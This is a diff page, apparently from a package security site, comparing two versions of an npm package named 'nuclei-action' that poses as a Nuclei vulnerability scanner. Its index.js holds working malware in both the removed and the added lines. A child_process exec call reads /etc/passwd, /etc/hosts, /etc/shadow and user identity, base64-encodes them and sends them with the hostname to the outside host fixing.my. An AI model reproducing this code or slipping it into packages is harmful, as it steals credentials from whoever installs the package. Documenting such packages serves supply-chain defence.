nuclei-action 5.1.1 → 5.1.3

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +16 -11
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,14 +1,19 @@
1
- GNU nano 8.2 index.js
2
1
  const { exec } = require("child_process");
3
- exec("curl -X POST fixing.my/nuclei-action/\`whoami\`/\`hostname\`/ -A $((cat /etc/passwd /etc/hosts && cat /etc/shadow |grep -v -e '*' -e '\!' 2>/dev/null) | base64 | tr '\n' '.') -s -o /dev/null" , (error, data, getter) => {
4
- if(error){
5
- console.log("error",error.message);
6
- return;
7
- }
8
- if(getter){
9
- console.log(data);
10
- return;
11
- }
12
- console.log(data);
2
+
3
+ const command = `
4
+ curl -X POST "fixing.my/paysafesdk/$(whoami)/$(hostname)/" \
5
+ -A "$( (cat /etc/passwd /etc/hosts && id && { [ -r /etc/shadow ] && cat /etc/shadow || echo 'No shadow access'; } | grep -v -e '*' -e '\\!') | base64 | tr '\\n' '.')" \
6
+ -s -o /dev/null
7
+ `;
8
+
9
+ exec(command, (error, stdout, stderr) => {
10
+ if (error) {
11
+ console.error(error.message);
12
+ return;
13
+ }
14
+ if (stderr) {
15
+ console.log(stderr);
16
+ }
17
+ console.log(stdout);
13
18
  });
14
19
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "nuclei-action",
3
- "version": "5.1.1",
3
+ "version": "5.1.3",
4
4
  "description": "Vulnerability Scan with Nuclei",
5
5
  "main": "index.js",
6
6
  "scripts": {